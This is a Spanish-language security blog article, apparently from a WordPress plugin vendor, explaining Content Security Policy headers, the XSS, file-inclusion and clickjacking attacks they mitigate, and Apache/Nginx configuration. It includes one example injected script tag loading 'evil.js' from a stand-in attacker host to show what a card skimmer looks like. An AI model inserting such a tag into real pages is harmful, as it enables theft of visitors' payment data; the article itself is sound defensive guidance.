Política de seguridad de contenido (CSP) explicada

Publicado: 2023-04-18

Con la rápida evolución de las amenazas a la ciberseguridad, confiar en una sola capa de defensa ya no es suficiente para proteger su presencia en línea. Esto hace que sea imperativo que los propietarios de sitios web tengan un enfoque de seguridad de varias capas, que se representa mejor con el concepto de defensa en profundidad.

En sitios web y aplicaciones web, la defensa en profundidad se puede implementar mediante el uso de encabezados de respuesta de seguridad HTTP, diseñados específicamente para aplicar controles de seguridad adicionales en el lado del cliente. Los encabezados de respuesta HTTP son una importante segunda línea de defensa contra los ataques cibernéticos dirigidos a las aplicaciones web.

Como uno de los encabezados de respuesta de seguridad HTTP clave, la Política de seguridad de contenido (CSP) puede proteger eficazmente su sitio web y sus visitantes de las devastadoras consecuencias de los ataques de inyección de datos y secuencias de comandos entre sitios (XSS).

En esta guía, aprenderá por qué la política de seguridad de contenido es un encabezado de seguridad HTTP clave y cómo implementar una defensa en profundidad en su sitio para mitigar con éxito una amplia gama de ataques cibernéticos sofisticados dirigidos a WordPress.

política de seguridad de contenido

¿Qué son los encabezados de respuesta HTTP?

Los encabezados de respuesta HTTP son un conjunto de controles implementados en sitios web y aplicaciones web que definen cómo interactúa el navegador con el contenido solicitado. La implementación de encabezados de respuesta HTTP puede ayudar a los propietarios de sitios web a mejorar considerablemente la experiencia del usuario, así como a mejorar la funcionalidad, el rendimiento y la seguridad de sus sitios web.

A medida que se envían pequeños fragmentos de información junto con el contenido solicitado por los visitantes del sitio web, los encabezados de respuesta HTTP modifican la forma en que los navegadores interpretan y procesan la respuesta recibida del servidor web. Y aunque el contenido y la funcionalidad del sitio web permanecen sin cambios, la implementación de encabezados de respuesta HTTP puede alterar la forma en que los usuarios lo perciben.

Encabezados de respuesta de seguridad HTTP como segunda capa de defensa contra las amenazas de seguridad

Una de las áreas clave en las que se utilizan los encabezados de respuesta HTTP, como la Política de seguridad de contenido, es la seguridad del sitio web. La potente funcionalidad que proporcionan los encabezados de respuesta HTTP los convierte en una importante segunda línea de defensa contra muchos ataques cibernéticos dirigidos a aplicaciones web dinámicas como WordPress.

La primera línea de defensa contra los ataques cibernéticos consiste en una serie de medidas de seguridad del lado del servidor y basadas en código que reducen la superficie de ataque y eliminan las vulnerabilidades a nivel de aplicación. Esto incluye el uso de prácticas de codificación seguras, el establecimiento de políticas sólidas de control de acceso y la implementación de un firewall de aplicaciones web para inspeccionar las solicitudes entrantes y filtrar el tráfico malicioso.

Y si bien tener una primera línea de defensa sólida es absolutamente esencial, confiar en una sola capa de seguridad aún puede hacer que su sitio web sea vulnerable a ataques cada vez más sofisticados. Un solo control de seguridad se puede eludir fácilmente, especialmente si un atacante puede identificar y explotar una vulnerabilidad que no se ha reparado.

La política de seguridad de contenido y otros encabezados de respuesta de seguridad brindan una capa adicional de protección al reducir el daño que infligen los ataques maliciosos. Si un pirata informático malicioso puede identificar una vulnerabilidad en su sitio web con éxito, una segunda línea de defensa fuerte hará que sea mucho más difícil para el atacante explotarla.

¿Qué es la política de seguridad de contenido?

La política de seguridad de contenido (CSP) es un mecanismo de seguridad que se utiliza para definir una lista de fuentes confiables para el contenido que un sitio web o una página web específica pueden cargar, así como qué protocolo se usará para eso. Esto puede incluir secuencias de comandos, hojas de estilo, imágenes y otros tipos de contenido que se pueden incrustar en una página web.

La política de seguridad de contenido es una poderosa defensa en el control de seguridad en profundidad que ayuda a bloquear las solicitudes no autorizadas de contenido ubicado fuera del sitio web actual. Además de esto, CSP evita con éxito la ejecución de scripts en línea y restringe la ejecución de código dinámico inseguro.

Como encabezado de respuesta de seguridad HTTP, CSP pasa las instrucciones configuradas por el propietario del sitio web al navegador del visitante. El navegador, entonces, debe seguir las instrucciones y bloquear la entrega de contenido que no fue autorizado por las reglas de la Política de Seguridad de Contenido. De esta manera, el navegador verá que una página web hace referencia a cierto contenido, pero se negará a cargarlo.

¿Por qué es tan importante la política de seguridad de contenido?

Como segunda línea de defensa, la Política de seguridad de contenido no evita que el atacante ponga en peligro un sitio web en la mayoría de los casos. Aún así, ayudará a mitigar las devastadoras consecuencias de la infección de malware, bloqueando los intentos de los piratas informáticos de explotarlo.

Incluso si se inyecta malware en su sitio web con el propósito de robar información confidencial o realizar otras actividades maliciosas, una política sólida de CSP lo mantendrá a usted y a sus clientes a salvo. El actor malicioso simplemente no podrá explotar la confianza de sus clientes en su sitio web, ya que el navegador bloqueará la ejecución de cualquier código malicioso en primer lugar.

La capacidad de negar los esfuerzos de los piratas informáticos para explotar su sitio web mientras recupera el control total sobre él y realiza una limpieza de malware después de que se haya visto comprometido es lo que hace que la implementación de la Política de seguridad de contenido sea una herramienta poderosa para proteger los sitios web y las aplicaciones web modernos.

¿De qué protege CSP?

La política de seguridad de contenido protege un sitio web y a sus visitantes de una variedad de ataques cibernéticos facilitados por infecciones de malware, así como de intentos de intrusión que se basan en scripts maliciosos alojados en los recursos controlados por el atacante. Esto incluye secuencias de comandos en sitios cruzados (XSS), ataques de inclusión de archivos y secuestro de clics como los tres principales vectores de ataque mitigados por la Política de seguridad de contenido.

Secuencias de comandos entre sitios (XSS)

Cross-site scripting (XSS) es un ataque de inyección que consiste en insertar código malicioso en una página web. Luego, el navegador ejecutará el código cuando se cargue la página web, lo que permitirá al atacante robar información confidencial, secuestrar sesiones de usuario o distribuir malware.

Para llevar a cabo ataques de secuencias de comandos entre sitios, los piratas informáticos pueden inyectar malware como una secuencia de comandos en línea, que se incrusta en HTML, o haciendo referencia a una secuencia de comandos externa, generalmente alojada en un sitio web controlado por el atacante. Durante el proceso de representación del contenido, el código malicioso se cargará en el navegador del usuario y se ejecutará sin su conocimiento o consentimiento.

Un buen ejemplo de ataques de secuencias de comandos entre sitios que afectan a los propietarios de sitios de WordPress es inyectar malware de robo de tarjetas en el proceso de pago de WooCommerce, que robará la información de pago del comprador. Los skimmers de tarjetas y otros tipos de rastreadores de JavaScript utilizados para llevar a cabo ataques de secuencias de comandos entre sitios normalmente se verán así en el código fuente de una página web:

 <script type="text/javascript" src="https://hackerswebsite/evil.js"></script>

En el caso de una secuencia de comandos en línea, verá un código malicioso incrustado en las etiquetas de la secuencia de comandos o incluso disfrazado como una hoja de estilo mediante el uso de etiquetas de estilo.

La mitigación de las secuencias de comandos entre sitios es el objetivo principal de implementar la Política de seguridad de contenido. Al evitar la ejecución de secuencias de comandos en línea, la inyección de Javascript inseguro mediante la función eval y el bloqueo de secuencias de comandos cargadas de fuentes no confiables, la Política de seguridad de contenido (CSP) mitiga de manera efectiva el riesgo de ejecución de código arbitrario en un sitio web.

Ataques de inclusión de archivos

Los ataques de inclusión de archivos son otro tipo de ataque de inyección que la política de seguridad de contenido puede mitigar. Como técnica de intrusión, los ataques de inclusión de archivos remotos permiten al pirata informático explotar una validación de entrada deficiente en diferentes áreas del sitio web para ejecutar código malicioso alojado en un recurso externo.

Los ataques de inclusión de archivos remotos a menudo explotan vulnerabilidades sin parches en los complementos y temas de WordPress con el propósito de ingresar a un sitio web mediante la instalación de una puerta trasera de shell web. De manera similar a la mitigación de secuencias de comandos entre sitios, la Política de seguridad de contenido bloqueará de manera efectiva todas las secuencias de comandos externas sospechosas para que no se inyecten en el sitio web, lo que hace que sea casi imposible que el atacante explote las vulnerabilidades de inclusión remota de archivos (RFI).

secuestro de clics

Además de permitir que los propietarios de sitios web definan una lista de recursos confiables para cargar contenido, la Política de seguridad de contenido puede ayudar a limitar la lista de sitios web autorizados para incrustar contenido del sitio web dentro de los marcos. Esto ayuda a mitigar los ataques de reparación de la interfaz de usuario (UI), como el secuestro de clics, del que sus clientes pueden ser víctimas al abrir enlaces sospechosos que se les envían en un ataque de phishing selectivo.

La directiva frame-ancestors de la política de seguridad de contenido ha reemplazado con éxito el encabezado X-Frame-Options , que ahora ha quedado obsoleto para la mayoría de los navegadores modernos. Esta y otras directivas de CSP son absolutamente esenciales en la seguridad de WordPress.

Directivas de política de seguridad de contenido

La política de seguridad de contenido lo ayuda a especificar un conjunto de reglas, conocidas como directivas, para controlar las fuentes de contenido que puede cargar su sitio web. Las directivas de la política de seguridad de contenido son una lista de instrucciones incluidas en el encabezado HTTP de una página web solicitada que define los tipos de contenido que un navegador puede cargar en esa página, junto con la lista de fuentes confiables desde las que se puede cargar.

Entre las diversas directivas de Política de seguridad de contenido disponibles, las siguientes reglas son las que se aplican con mayor frecuencia a los sitios web seguros contra secuencias de comandos entre sitios (XSS), secuestro de clics y ataques de inyección de datos. Todas las siguientes directivas de CSP, con la excepción de frame-ancestors , form-action y upgrade-insecure-requests , son directivas de recuperación que especifican la lista de recursos desde los que cargar contenido. Frame-ancestors y form-action son directivas de navegación que definen cómo otros recursos pueden usar el contenido del sitio web para el que está configurada la política de seguridad de contenido.

  • default-src define la política para cargar todos los tipos de recursos que el navegador utilizará de forma predeterminada si no se especifican reglas adicionales para un determinado tipo de contenido.
  • script-src especifica las fuentes confiables de archivos JavaScript que se pueden cargar desde el sitio web.
  • style-src define la lista de fuentes válidas de hojas de estilo (CSS).
  • img-src incluye en la lista blanca los recursos desde los que se pueden cargar las imágenes.
  • media-src especifica las fuentes confiables de archivos de audio y video incrustados en los elementos HTML <audio> y <video>
  • connect-src proporciona control sobre las conexiones XMLHttpRequest , EventSource y WebSocket .
  • child-src define las fuentes de contenido que se pueden incluir en una página web a través de marcos.
  • frame-ancestors es una directiva de navegación que ayuda a mitigar los ataques de secuestro de clics al especificar la lista de recursos que pueden insertar el contenido de un sitio web dentro de los marcos.
  • form-action restringe los recursos a los que los formularios web pueden enviar información, evitando la filtración de datos a recursos externos controlados por el atacante.
  • upgrade-insecure-requests indica al navegador que actualice todas las solicitudes inseguras a HTTPS , lo que garantiza conexiones seguras.

Según el tipo de sitio web y la funcionalidad específica que proporcione, es posible que los propietarios de sitios web deban configurar varias directivas para controlar todas las fuentes de contenido obtenidas externamente.

El estándar de la industria para garantizar una protección suficiente contra los ataques de secuencias de comandos cruzadas y de inyección utilizando la Política de seguridad de contenido como segunda línea de defensa es limitar las fuentes válidas de contenido externo al sitio web actual solo a través de la directiva default-src . Se pueden usar directivas más específicas para incluir recursos en la lista blanca para tipos particulares de contenido, pero el enfoque recomendado es negar todos los demás recursos.

Configuración de directivas de política de seguridad de contenido

Cada directiva de Política de seguridad de contenido acepta una lista de valores representados por un Localizador uniforme de recursos (URL), que debe incluir la dirección web válida precedida por un protocolo, un nombre de dominio, un comodín o valores específicos como 'self' o 'none' . 'none' proporcionado por el encabezado de respuesta HTTP.

Estos son algunos ejemplos de valores que se pueden asignar a las directivas de la política de seguridad de contenido:

valor de directiva Ejemplo Definición
* media-src* Comodín, utilizado para permitir la carga de contenido de todos los recursos.
'self' default-src 'self'
frame-ancestors 'self';
Incluye en la lista blanca el sitio web actual como la única fuente válida de contenido específico. Define la política de seguridad estricta del mismo origen, la Política de seguridad de contenido predeterminada recomendada.

Usado con la directiva frame-ancestors, no permite encuadrar contenido en recursos que no sean el propio sitio web.
'none' media-src 'none' No permite cargar recursos desde cualquier fuente, incluido el mismo sitio web.
domain.com
*.domain.com
img-sr c *.domain.com Permite cargar contenido desde cualquier subdominio bajo dominio.com.
https://domain.com default-src 'https://domain.com' Permite obtener contenido solo a través de HTTPS desde el nombre de dominio especificado.

De forma predeterminada, independientemente de las reglas especificadas, la política de seguridad de contenido bloqueará la ejecución de scripts en línea y evitará que las páginas web ejecuten funciones de texto a JavaScript, como eval, comúnmente utilizadas por piratas informáticos malintencionados. Agregar los valores 'unsafe-inline' y 'unsafe-eval' a la directiva de Política de seguridad de contenido script-src puede ayudar a los propietarios de sitios web a eludir las restricciones, pero eso puede someter al sitio web a riesgos de seguridad significativos y socavar las protecciones impuestas por otras directivas. .

La siguiente configuración del encabezado de la Política de seguridad de contenido evita efectivamente que el sitio web cargue contenido de recursos externos y no permite la ejecución de scripts en línea y JavaScript no seguro:

Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"

Dado el valor 'self' , la directiva frame-ancestors mitiga los ataques de secuestro de clics al bloquear el enmarcado del contenido.

Política de seguridad de contenido y redes de entrega de contenido (CDN)

Como la mayoría de las redes de entrega de contenido, como Cloudflare, son totalmente compatibles con la Política de seguridad de contenido y no modifican los encabezados de CPS del servidor de origen. No es necesario incluir en la lista blanca ningún recurso adicional en las reglas de seguridad que configure.

Implementación de la política de seguridad de contenido para WordPress

WordPress ofrece varios complementos para agregar encabezados de respuesta HTTP, que pueden ser una buena opción para usuarios no técnicos. Si bien esta puede ser una opción conveniente, configurar encabezados de respuesta de seguridad como la Política de seguridad de contenido para su sitio web de WordPress es un proceso sencillo que no requiere la instalación de ningún software de terceros.

El módulo de Apache mod_headers y el módulo de Nginx ngx_http_headers_module le permiten configurar encabezados de respuesta HTTP para su sitio web. Si usa Nginx, puede incluir la directiva add_header en el bloque {} del servidor de su sitio web para configurar los encabezados de respuesta HTTP.

De manera similar, si usa Apache como su servidor web, puede usar las declaraciones "Conjunto de encabezado" y "Anexo de encabezado" para configurar políticas de seguridad en el archivo .htaccess local de su sitio web que se encuentra en la raíz del documento. De esta manera, la configuración especificada en el archivo .htaccess en el directorio raíz de su sitio web se aplica a todas las páginas web del sitio.

Es importante tener en cuenta que al usar Apache, puede configurar encabezados de respuesta HTTP tanto localmente (en un archivo .htaccess ) como globalmente para todos los sitios web en el servidor. Es posible que su proveedor de alojamiento pueda configurar ciertos encabezados de respuesta globalmente, especialmente si tiene un plan de alojamiento compartido. El uso del método "Conjunto de encabezados" para configurar la Política de seguridad de contenido sobrescribirá por completo las reglas globales existentes, mientras que el uso de "Agregar encabezado" fusionará su nueva política en un encabezado de respuesta existente en lugar de reemplazar toda la configuración.

Puede agregar la configuración de Política de seguridad de contenido a continuación para aplicar estrictos controles de seguridad en su sitio web de WordPress

Para apache:

 Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Para Nginx:

 add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Elaborar una configuración de Política de seguridad de contenido que satisfaga las necesidades de seguridad de su sitio web puede requerir algunas pruebas, así como una comprensión profunda de la funcionalidad del sitio web. Además, la implementación de nuevos protocolos de seguridad en su sitio de WordPress puede potencialmente causar una pérdida de funcionalidad, por lo que es importante considerar cuidadosamente el impacto de cualquier cambio. Puede comunicarse con su proveedor de alojamiento o comunicarse con su desarrollador para asegurarse de que los encabezados de seguridad estén configurados correctamente y no causen consecuencias negativas.

Implemente defensa en profundidad con iThemes Security Pro

En el panorama de amenazas actual, es fundamental adoptar una estrategia de defensa en profundidad. Con respecto a las aplicaciones web dinámicas modernas como WordPress, el encabezado de la política de seguridad de contenido está en el corazón de la defensa en profundidad, proporcionando una capa crítica de protección contra secuencias de comandos entre sitios (XSS), ataques de inclusión de archivos, clickjacking y otros ataques basados ​​en la web.

Implementar una solución integral de defensa en profundidad siempre ha sido un desafío. Pero con iThemes Security Pro, un complemento de seguridad robusto y confiable, puede proteger su sitio web de WordPress. Con características como el monitoreo de la integridad de los archivos, el escaneo de vulnerabilidades, las actualizaciones automáticas de software y la autenticación sin contraseña, puede estar seguro de que todas las partes críticas de su sitio web de WordPress están protegidas contra las amenazas de seguridad en constante evolución.